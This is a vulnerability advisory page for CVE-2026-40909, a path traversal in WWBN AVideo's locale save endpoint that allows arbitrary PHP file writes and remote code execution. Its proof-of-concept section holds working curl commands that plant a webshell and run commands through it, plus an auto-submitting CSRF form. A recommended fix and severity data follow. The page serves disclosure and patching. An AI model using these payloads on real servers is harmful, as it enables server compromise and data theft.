CVE-2026-40909 — WWBN AVideo has a Path Traversal in wwbn/avideo
WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.85%). Schedule for your next planned update.
Does your project use an affected wwbn/avideo version?
Paste your composer.lock to check it for CVE-2026-40909 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.
Details
In locale/save.php, the vulnerable code path is:
// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);
Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.
The file content is constructed as:
<?php
global $t;
{$_POST['code']} // attacker-controlled, written verbatim
An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).
CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.
PoC
Direct exploitation (requires admin session):
# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'
# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...
CSRF variant (no direct admin access needed):
Host the following HTML on an attacker-controlled site and lure an admin to visit:
<html>
<body>
<form method="POST" action="https://target/locale/save.php">
<input type="hidden" name="flag" value="../../webshell">
<input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.
Impact
- Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
- CSRF to RCE chain: Because no CSRF token is required and
SameSite=Noneis set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
Sanitize the flag parameter to prevent path traversal and add CSRF protection:
// locale/save.php — after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.
Advisory Timeline
- First published April 14, 2026 (226 days ago).
- Last revised May 5, 2026 — 21 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| wwbn/avideo Packagist · Affected: 10.4, 10.8, 11, 11.1 (+14 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
References
Frequently Asked Questions
- What is CVE-2026-40909?
- WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
- How do I check if my project is affected by CVE-2026-40909?
- CVE-2026-40909 affects wwbn/avideo. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40909 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 55.5% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-33502CRITICAL
AVideo has Unauthenticated SSRF via plugin/Live/test.php
- CVE-2026-33351CRITICAL
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass
- CVE-2023-49599CRITICAL
WWBN AVideo Insufficient Entropy vulnerbaility
- CVE-2026-49279HIGH
WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
- CVE-2026-33647HIGH
AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload
- CVE-2026-33479HIGH
AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
- CVE-2026-41304HIGH
WWBN AVideo: RCE cause by clonesite plugin
- CVE-2026-45578HIGH
AVideo: OS command injection in on_publish.php execAsync via unescaped m3u8 URL